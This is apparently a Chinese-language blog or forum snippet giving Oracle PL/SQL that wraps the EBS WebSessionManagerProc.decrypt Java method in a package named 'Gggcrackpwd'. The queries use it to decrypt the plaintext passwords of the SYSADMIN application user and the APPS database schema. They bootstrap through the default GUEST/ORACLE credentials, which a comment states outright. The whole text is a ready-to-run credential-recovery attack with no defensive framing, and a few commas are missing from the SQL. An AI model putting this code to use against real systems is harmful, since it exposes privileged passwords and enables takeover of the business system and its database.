1、建立package

  1. CREATE OR REPLACE Package Gggcrackpwd Authid Current_User As 
  2.   Function Getpwd(Orauser In Varchar2, Appuserpwd In Varchar2) 
  3.     Return Varchar2; 
  4. End Gggcrackpwd; 
  5.  
  6.  
  7. CREATE OR REPLACE Package Body Gggcrackpwd As 
  8. Function Getpwd(Orauser In Varchar2, Appuserpwd In Varchar2) Return Varchar2 As 
  9. Language Java Name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) 
  10.   return java.lang.String'; 
  11. End Gggcrackpwd; 

 

2、如下SQL查询

  1. --ebs系统用户 
  2. Select T1.User_Name Username, 
  3.        Gggcrackpwd.Getpwd((Select Gggcrackpwd.Getpwd('GUEST/ORACLE'
  4.                                                     (Select t.Encrypted_Foundation_Password 
  5.                                                        From Fnd_User t 
  6.                                                       Where t.User_Name = 
  7.                                                             'GUEST')) 
  8.                             From Dual), 
  9.                           T1.Encrypted_User_Password) Password
  10.        T1.End_Date 
  11.   From Fnd_User T1 
  12.  Where User_Name = Upper('sysadmin'); 
  13.  
  14. --EBS 数据库用户 
  15. Select T1.Oracle_Username, 
  16.        Gggcrackpwd.Getpwd((Select Gggcrackpwd.Getpwd('GUEST/ORACLE'
  17.                                                     (Select t.Encrypted_Foundation_Password 
  18.                                                        From Fnd_User t 
  19.                                                       Where t.User_Name = 
  20.                                                             'GUEST')) 
  21.                             From Dual), 
  22.        T1.Encrypted_Oracle_Password) Password
  23.        T1.Enabled_Flag 
  24.   From Fnd_Oracle_Userid T1 
  25.  Where T1.Oracle_Username = Upper('APPS'); --APPLSYS, APPLSYSPUB/PUB 
  26.   
  27.  --ebs 主机用户 
  28.  Select * From QPER_UPLOAD_PROFILE; 

注释:guest用户默认密码是ORACLE, 这里可以用任何'用户名/密码'替换'GUEST/ORACLE'